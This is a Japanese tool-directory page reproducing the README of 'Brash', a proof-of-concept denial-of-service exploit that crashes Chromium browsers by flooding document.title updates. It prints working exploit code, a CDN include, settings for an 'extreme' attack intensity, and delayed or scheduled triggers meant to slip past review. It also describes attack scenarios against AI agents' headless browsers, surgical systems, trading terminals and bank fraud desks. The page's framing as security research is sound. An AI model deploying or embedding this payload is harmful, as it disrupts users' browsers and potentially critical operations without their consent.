Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/jofpin/brash
エクスプロイトフレームワーク脆弱性分析ウェブアプリケーション悪用ペネトレーションテスト
GitHubjofpin/brash

brash

document.titleを悪用したChromiumブラウザのDoS攻撃

リポジトリを見るウェブサイト
1806510ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Brash

Brash by Jose Pino

document.title 悪用による Chromium ブラウザ DoS 攻撃

Brash は、Google の Chromium ベースのブラウザを支えるレンダリングエンジン Blink における重大な脆弱性です。特定の DOM 操作が管理される方法におけるアーキテクチャ上の欠陥を悪用することで、あらゆる Chromium ブラウザを 15〜60 秒で崩壊させることができます。

攻撃ベクトルは、document.title API の更新に対するレート制限が完全に存在しないことに起因します。これにより、毎秒数百万回の DOM ミューテーションを注入することが可能になり、この注入試行中にメインスレッドを飽和させ、イベントループを乱してインターフェースを崩壊させます。影響は重大で、高い CPU リソースを消費し、システム全体のパフォーマンスを低下させ、同時に実行されている他のプロセスを停止または低速化させる可能性があります。デスクトップ、Android、組み込み環境の Chromium ブラウザに影響を与えることで、この脆弱性はインターネット上の30 億人以上の人々をシステムレベルのサービス拒否にさらします。

ステータス: 動作中
影響を受けるバージョン: Chromium ≤ 143.0.7483.0 (テスト済み: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)

[!NOTE] このエクスプロイトは現在動作しています。脆弱性がパッチされると、このコードは機能しなくなります。いずれにせよ、このアーキテクチャ上の欠陥を発見し、調査、ドキュメント化、設計の全プロセスを完了して、世界と共有できるインパクトのあるものを生み出せたことは、この上なくやりがいのある旅でした。

テスト

脆弱性の影響を検証するために、macOS、Windows、Linux で 11 の主要ブラウザがテストされました。

脆弱性あり (Chromium/Blink)

この欠陥は Blink レンダリングエンジンの核に存在するため、すべての Chromium ベースのブラウザが脆弱です:

  • Chrome — 15〜30 秒でクラッシュ
  • Edge — 15〜25 秒でクラッシュ
  • Vivaldi — 15〜30 秒でクラッシュ
  • Arc Browser — 15〜30 秒でクラッシュ
  • Dia Browser — 15〜30 秒でクラッシュ
  • Opera — 約 60 秒でクラッシュ
  • Perplexity Comet — 15〜35 秒でクラッシュ
  • ChatGPT Atlas — 15〜60 秒でクラッシュ
  • Brave — 30〜125 秒でクラッシュ

脆弱性なし (他のエンジンを使用)

  • Firefox (Gecko エンジン) — 攻撃に対して免疫
  • Safari (WebKit エンジン) — 攻撃に対して免疫
  • iOS ブラウザ (すべて WebKit を使用) — Apple の必須ポリシーによりすべての iOS ブラウザがレンダリングエンジンとして WebKit を使用することが義務付けられ、iOS では Chromium ベースのブラウザが不可能なため、攻撃に対して免疫

仕組み

Brash は、Blink レンダリングエンジンにおける根本的なアーキテクチャ上の欠陥、すなわち document.title 更新に対するスロットリングの欠如を悪用します。攻撃は 3 つの重要なフェーズで動作します:

1. ハッシュ生成 (準備)

512 文字の一意な 16 進文字列を 100 個生成し、攻撃開始前にメモリに保存します。

なぜリアルタイムで生成するのではなく事前にロードするのか?

新しい文字列を常時生成すると、数学的演算に CPU 時間を消費するからです。その時間は重要です。文字列の生成に費やす毎ミリ秒は、document.title の更新でブラウザを攻撃するために使われない時間なのです。

100 個の文字列をメモリにロードしておくことで:

  • より高速な攻撃: 文字列を生成するための中断なし
  • CPU への集中: リソースの 100% をブラウザの飽和に専念
  • システム停止の削減: ガベージコレクタが常に作動するのを防止
  • 検出の回避: 100 個の異なる文字列により、ブラウザが更新をキャッシュまたは最適化するのを防止

その結果、更新あたりのメモリ消費を最大化しながら、最大の注入速度を達成します。

root@kitploit:~
// Generates high-entropy unique IDs
gid: function() {
    let id = "";
    for (let i = 0x0; i < 0x200; i++) {
        id += ((Math.random() * 0x10) | 0x0).toString(0x10);
    }
    return id;
}

2. バースト注入 (攻撃)

設定可能なタイトル更新のバーストを実行します。デフォルト設定 (burst: 8000、interval: 1ms) では、毎秒約 2400 万回の更新を注入しようと試み、この試行中にブラウザの崩壊が始まります。

root@kitploit:~
// Triple-update pattern: maximizes rendering pipeline thrashing
inject: function() {
    const t = this.titles[Math.random() * this.titles.length | 0x0];
    for (let i = 0x0; i < 0x3; i++) {
        document.title = t + i;  // Each burst performs 3 sequential updates
    }
    this.counter += 0x3;
}

3. UI スレッドの飽和 (崩壊)

継続的な更新によりブラウザのメインスレッドが飽和し、他のイベントの処理が妨げられます:

崩壊のタイムライン:

  • 0〜5 秒: UI スレッドの初期飽和、極端な CPU 消費
  • 5〜10 秒: タブが完全にフリーズし、閉じることが不可能
  • 10〜15 秒: ブラウザの崩壊または「ページが応答していません」ダイアログ
  • 15〜60 秒: 強制終了が必要 (Chromium ベースのブラウザ)

なぜ機能するのか?

Blink は各 document.title の変更をレート制限なしにメインスレッドで同期的に処理します。これによりボトルネックが生じ、以下を引き起こします:

  • イベントループのブロック
  • ユーザー入力処理の妨害
  • 長い文字列によるメモリの飽和
  • コンポジタとレンダリングパイプラインの混乱
  • ブラウザプロセスのスラッシング

デモ & PoC

Brash の影響を完全に理解するには、管理されたライブデモから独自の実装まで、さまざまなコンテキストでエクスプロイトを体験できます。各オプションは、異なるレベルの対話性と技術的理解のために設計されています。

1. ライブデモ

Brash の動作を確認する最速の方法です。https://brash.run にアクセスしてください。

グラフィカルインターフェースなしでエクスプロイトを確認するには、https://brash.run/hidden-live-demo.html にアクセスしてください。このバージョンは注入を不可視で実行し、実際の攻撃をシミュレートします。

2. ローカルデモ

自分の環境でデモを実行したい場合は、リポジトリに含まれる exploit-demo/ ディレクトリで以下が可能です:

  • 攻撃の強度をリアルタイムで調整するコントロール
  • 毎秒の更新回数の視覚カウンター
  • 中程度、攻撃的、過激の 3 つの定義済みモード
  • ブラウザの進行性の崩壊の観察

任意の Chromium ブラウザで exploit-demo/index.html を開き、開始前に burst と interval の値を設定するだけです。

  • burstSize: インターバルあたりのタイトル変更数 (大きいほど攻撃的)
  • interval: バースト間のミリ秒 (小さいほど攻撃的)

3. 独自の PoC を実装する

Brash を独自のセキュリティテストや研究に統合するには、スクリプトを含めて攻撃を設定します:

スクリプトを含める:

root@kitploit:~
<!-- Local -->
<script src="brash.js"></script>

<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>

API の使用方法:

root@kitploit:~
// 1. Immediate attack
Brash.run({
    burstSize: 8000,
    interval: 1
});

// 2. Delay in seconds (default)
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: 30  // 30 seconds
});

// 3. Delay with strings
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: "30s"  // or "5000ms" or "3m"
});

// 4. Scheduled attack
Brash.run({
    burstSize: 8000,
    interval: 1,
    scheduled: "2025-10-18T09:30:00"
});

強度設定:

root@kitploit:~
// Moderate: controlled observation
// Effect: Browser responds slowly and allows observing gradual degradation
Brash.run({ 
    burstSize: 200,
    interval: 1000 // ~600 updates/sec
});

// Aggressive: rapid saturation
// Effect: Tabs freeze in 10-20 seconds
Brash.run({ 
    burstSize: 2000, 
    interval: 100 // ~60,000 updates/sec
});

// Extreme: instant collapse
// Effect: Immediate freeze, total crash in 15-30 seconds
Brash.run({ 
    burstSize: 8000,
    interval: 1 // Attempts ~24M updates/sec (browser collapses during the attempt)
});

注記: 各バーストは 3 回の連続した document.title 更新を実行します。たとえば、burstSize: 400 = インターバルあたり 1,200 回の実際の更新になります。

攻撃シナリオ

Brash は、経済的損失から人命のリスクに至るまでの結果を伴う、複数の重大なコンテキストで兵器化される可能性があります。

時間遅延攻撃: 戦略的タイミング

Brash の危険性を増幅する重要な特徴は、特定の瞬間に実行されるようにプログラムできることです。攻撃者は時間的トリガー付きでコードを注入し、あらかじめ決められた正確な時刻まで潜伏させることができます。

技術的実装:

root@kitploit:~
// Delay in seconds (default)
Brash.run({ burstSize: 8000, interval: 1, delay: 30 });

// Delay with strings (ms, s, m)
Brash.run({ burstSize: 8000, interval: 1, delay: "30s" });
Brash.run({ burstSize: 8000, interval: 1, delay: "5000ms" });

// Scheduled: executes at exact moment
Brash.run({ burstSize: 8000, interval: 1, scheduled: "2025-10-18T09:30:00" });

パラメータ:

  • burstSize: サイクルあたりの更新数
  • interval: サイクル間のミリ秒
  • delay: 数値 (秒) または文字列 ("30s", "5000ms", "3m")
  • scheduled: ISO 文字列または Date オブジェクト

なぜ delay パラメータは特に致命的なのか:

  1. リンクを開くタイミングを知る必要がない: 被害者がページを開いてから X 秒待機するだけです。

  2. 信頼を確立する時間: 待機中の数分間に、被害者は一見正当なコンテンツ (フォーム、ドキュメント、動画) と対話します。

  3. 初期検査を回避: 誰かがコードを素早く確認しても、非アクティブに見えます。攻撃は後になるまで実行されません。

  4. 完璧な心理的タイミング: 被害者がタスクに深く関与するまで待機します (試験の最中、会議の最中、重要な手順の最中)。

delay を使用した典型的なシナリオ:

root@kitploit:~
00:00 - Victim opens link "Q4 Documents.pdf"
00:30 - Victim reviews documents, appears legitimate
02:00 - Victim shares screen in meeting with 50 people
03:00 - ATTACK EXECUTES - all browsers collapse

なぜ scheduled パラメータも壊滅的なのか:

  1. 外科的同期: 攻撃者は最大の影響の瞬間 (市場の開場、運用のピーク時) を正確に選択します。

  2. グローバルな連携攻撃: 複数のターゲットを同じ秒に同時に攻撃できます。

  3. 事前検出の回避: 悪意のあるコードは、実行せずに数日または数週間前から存在し、セキュリティレビューを通過できます。

  4. 阻止が不可能: 攻撃が実行される頃には、防ぐには遅すぎます。

戦略的タイミングの例:

  • 午前 09:30 (EST) — ウォール街の開場 (取引のボラティリティが最大)
  • 午前 03:00 — 病院の交代時間 (スタッフ最少、脆弱性最大)
  • 午後 12:00 — 航空交通のピーク時 (同時飛行数が最大)
  • ブラックフライデー 00:00 — オンラインセール開始 (E コマースのトラフィックが最大)
  • ライブイベント中 — 大統領討論会、スーパーボウル、大規模スポーツイベント

この運動学的タイミング機能により、Brash は混乱ツールから時間的精密兵器へと変貌します。攻撃者は「何を」「どこで」だけでなく、「いつ」 もミリ秒単位の精度で制御できるのです。


AI エージェントのポイズニング: 自動化システム

シナリオ: Web スクレイピング、市場分析、競合他社の監視、顧客サポートの自動化に AI エージェントを依存するエンタープライズシステムは、ヘッドレスブラウザ (Chromium/Puppeteer) を使用して毎日何千ものウェブサイトを照会します。攻撃者はこれらのエージェントが照会する人気サイトに Brash を注入します。

重要な自動化運用中に:

  • AI エージェントが市場分析のために侵害された金融ニュースサイトを照会
  • Brash がエージェントのヘッドレスブラウザで静かに実行
  • ブラウザプロセスがクラッシュし、分析パイプライン全体が停止
  • エージェントのデータを待つ下流システムがタイムアウト
  • 自動取引・価格決定がブロック
  • 監視システムが複数のエージェントで同時に大規模障害を検出
  • エージェントインフラ全体を再起動するために手動介入が必要

増幅された攻撃ベクトル:

  • AI リサーチアシスタント: 企業向けにウェブ情報を検索・処理するエージェント
  • 価格監視ボット: 競合他社の価格を追跡する E コマースシステム
  • SEO 分析ツール: 分析のために数百万のページをクロールするサービス
  • AI を活用したカスタマーサポート: ウェブドキュメントをリアルタイムで照会するチャットボット
  • 自動コンプライアンススキャン: ウェブサイトを監視する規制システム

実際の影響: 重要な自動化運用の麻痺、未実行の決定による経済的損失、AI 依存サービスの大規模な劣化、インフラ復旧コスト、自動エージェントへの重大な依存の露呈。

外科手術の中断: 生命を脅かす

シナリオ: 心臓血管外科医が、ウェブベースの手術ナビゲーションシステム (低侵襲手術でますます一般的) の支援を受けて冠動脈バイパス手術を行っています。このシステムは、リアルタイム画像、患者のバイタル指標、ロボット手術器具のガイダンスを提供します。

手術の最も重要な段階で、ブラウザ通知が表示されます: 「アラート: 重大な外科用システム更新 - 今すぐ適用しないと手術が失敗する可能性があります。」

パニックに陥ってクリックすると:

  • ブラウザは外科用ナビゲーションシステムとともに即座にクラッシュ
  • 外科医は 3〜5 分間ガイド画像の視覚化を失う
  • リアルタイムのバイタルサインが画面から消える
  • 医療チームはシステムを再起動しながら即興で対応しなければならない
  • 崩壊の時間帯に患者は重大なリスクにさらされる

実際の影響: 患者死亡の直接リスク、永久的な損傷の可能性、医療チームへの心理的トラウマ、技術的過失による数百万ドルの訴訟。

株式取引所のフラッシュクラッシュ

シナリオ: ウォール街の市場開始時に、悪意のある行為者が Brash を複数のチャネルに同時に注入します: Bloomberg Terminal のウェブインターフェース、機関投資家トレーダーのチャット、専門フォーラム。リンクは「リーク: 連邦準備制度の緊急会議議事録 - 利下げ確定」を約束します。

取引開始から最初の 30 秒間 (最大流動性):

  • 200 人以上の機関投資家トレーダーが同時にクリック
  • 数百万ドルの注文を発注したまさにその瞬間にウェブターミナルがクラッシュ
  • 自動取引アルゴリズムが活動の突然の低下を「クラッシュ」として検出
  • 大規模な自動売りが誘発される
  • サーキットブレーカーが作動するまでに市場は 90 秒で 5〜7% 下落
  • 何百万人もの個人投資家が貯蓄を失う

実際の影響: 数兆ドルの時価総額の損失、世界的な金融パニック、SEC の調査、市場への信頼の危機。

銀行システム: リアルタイム不正防止

シナリオ: 銀行の不正分析担当者は、ウェブダッシュボードを通じて疑わしい取引アラートをリアルタイムで処理しています。ブラックフライデー (取引ピーク) に、彼らは社内メールで Brash を受け取ります: 「新しい不正パターンが検出されました - 緊急分析が必要です。」

取引量が最も多い瞬間に:

  • 20 人以上のアナリストが同時にリンクを開く
  • 不正検出ダッシュボードがクラッシュ
  • 15〜20 分間の取引が未審査のまま
  • 攻撃者はこの時間帯を悪用して数千件の盗難取引を処理
  • 200 万〜500 万ドルの不正が検出されずに通過
  • アナリストが応答しない場合に取引を許可するように自動システムが設定されている

実際の影響: 数百万ドルの直接損失、不正請求を受ける何千人もの顧客、大規模な風評被害、防止システム障害に対する規制上の罰金。


これらのシナリオは理論上のものではありません。Brash の単純さは、ウェブブラウザに依存するあらゆる運用に対する現実の脅威となります。2025 年において、それは実質的にすべてを意味します。

最後に

Brash の作成は、私たちが日常的に使用するウェブ技術において基本的な保護が存在しないときに何が起こるかを実証する取り組みです。この脆弱性は複雑なコードや高度な技術にあるのではなく、設計上スロットリングされるべき API に対するレート制限の根本的な欠如にあります。

Brash が 30 億人以上の Chromium ブラウザユーザーに与える影響は、Blink のような中核コンポーネントのアーキテクチャ上の欠陥が、大規模かつ世界的な結果をもたらすことを示しています。これは孤立したバグではなく、Chromium エコシステム全体に影響を与える設計上の欠陥です。

最も危険なものは、最も予期しない場所、最も無視されている場所に隠れていることがよくあります。 - Jose Pino

免責事項

この PoC は、インターネットをより安全な場所にするために、教育およびセキュリティ研究の目的専用に意図されています。その実行は管理された環境でのみ行われるべきであり、本番システム、公開ウェブサイト、または重要なデータを含むデバイスで使用してはなりません。

このエクスプロイトの誤用は、ブラウザのクラッシュ、データ損失、システムの不安定性を引き起こす可能性があります。著者は、この PoC の使用または誤用から生じるいかなる損害、データ損失、または法的結果についても責任を負いません。Brash を使用することにより、これらのリスクを理解し、隔離された環境での正当なセキュリティ研究にのみ使用することに同意したものとみなされます。

ユーザーは、適用されるすべての法律および規制を遵守することが期待されます。所有していない、またはテストする明示的な許可を持たないシステムに対するこのエクスプロイトの不正使用は、違法かつ非倫理的です。

ライセンス

このプロジェクトのコンテンツ自体は Creative Commons Attribution 3.0 license の下でライセンスされ、そのコンテンツをフォーマットおよび表示するために使用される基礎となるソースコードは MIT license の下でライセンスされています。

Copyright (c) 2025 by Jose Pino

ツールをダウンロード